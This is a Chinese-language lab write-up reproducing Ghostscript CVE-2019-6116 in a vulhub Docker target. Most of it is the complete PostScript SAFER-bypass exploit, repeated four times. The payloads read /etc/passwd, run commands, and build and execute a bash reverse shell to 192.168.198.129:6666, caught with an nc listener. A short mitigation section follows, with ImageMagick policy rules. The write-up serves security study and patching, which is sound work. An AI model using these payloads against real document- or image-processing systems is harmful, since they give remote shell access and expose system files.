Bootstrap

漏洞复现笔记(CVE-2019-6116)

漏洞原理

GhostScript 被许多图片处理库所使用,如 mageMlagick、Python PIL等,默认情下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。

影响版本

Ghostscript 9.24之前版本

commit c47512e5e638d903d69925f7ebab4de2aa3f481f 之前的版本均受到影响ghostscript作为图像处理格式转换的底层应用。

漏洞导致所有引用ghostscript的上游应用受到影响。 涉及但不限于:

imagemagick

libmagick

graphicsmagick

gimp

python-matplotlib

texlive-core

texmacs

latex2html

latex2rtf 等

漏洞复现

使用vulhub进行环境搭建

进入靶场

  • cd vulhub/ghostscript/CVE-2019-6116

开启靶场

  • docker-compose up -d

查看靶场信息

  • docker ps

访问url

  • youIP:8080

使用vulhub自带的poc上传

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    (Stage 11: Exploitation...)=

    /forceput exch def

    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput

    % update
    save restore

    % All done.
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==

    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }

>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

(Attempting to execute a shell command...)= flush

% run command
(%pipe%id > /tmp/success) (w) file closefile

(All done.)=

quit

提交POC

进入容器的文件中查看文件是否生成

  • docker-compose exet web bash
  • ls /tmp

反弹shell

首先生成shell文件

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    (Stage 11: Exploitation...)=

    /forceput exch def

    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput

    % update
    save restore

    % All done.
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==

    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }

>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

(Attempting to execute a shell command...)= flush

% run command
(%pipe%echo 'bash -i >& /dev/tcp/192.168.198.129/6666 0>&1' >> /tmp/shell.sh) (w) file closefile

(All done.)=

quit

提交

其次赋予文件执行权限

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    (Stage 11: Exploitation...)=

    /forceput exch def

    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput

    % update
    save restore

    % All done.
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==

    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }

>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

(Attempting to execute a shell command...)= flush

% run command
(%pipe%chmod +x /tmp/shell.sh) (w) file closefile

(All done.)=

quit

提交

开启监听

  • nc -lvvp 6666

最后执行shell文件

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    (Stage 11: Exploitation...)=

    /forceput exch def

    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput

    % update
    save restore

    % All done.
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==

    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }

>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

(Attempting to execute a shell command...)= flush

% run command
(%pipe%/bin/bash /tmp/shell.sh) (w) file closefile

(All done.)=

quit

成功反弹shell

修复方案

建议更新到(C47512e5e638d903d69925f7ebab4de2aa3f481f)之后的版本,或者直接重新拉取master分支进行更新

若无法更新可先尝试禁用使用qS解析D5文件

使用lmageMagick,建议修改policy文件 (默认位置: /etc/lmageMagick/policyxml)

在 中加入以下policy>

(即禁用PS、EPS、PDF、 XPS coders、 PCD)

<policymap>

<policy domain="coder" rights="none" pattern="PS" />

<policy domain="coder" rights="none" pattern="EPS" />

<policy domain="coder" rights="none" pattern="PDF" />

<policy domain="coder" rights="none" pattern="XPS" />

<policy domain="coder" rights="none" pattern="PCD" />

</policymap>

但 taviso 提到 policy 是十分宽松的,可能会存在一些没有提及的格式存在绕过。

360CERT 建议用户及及时进行版本升级,同时对线上涉及图像、pdf等格式的处理的服务进行版本自查。

;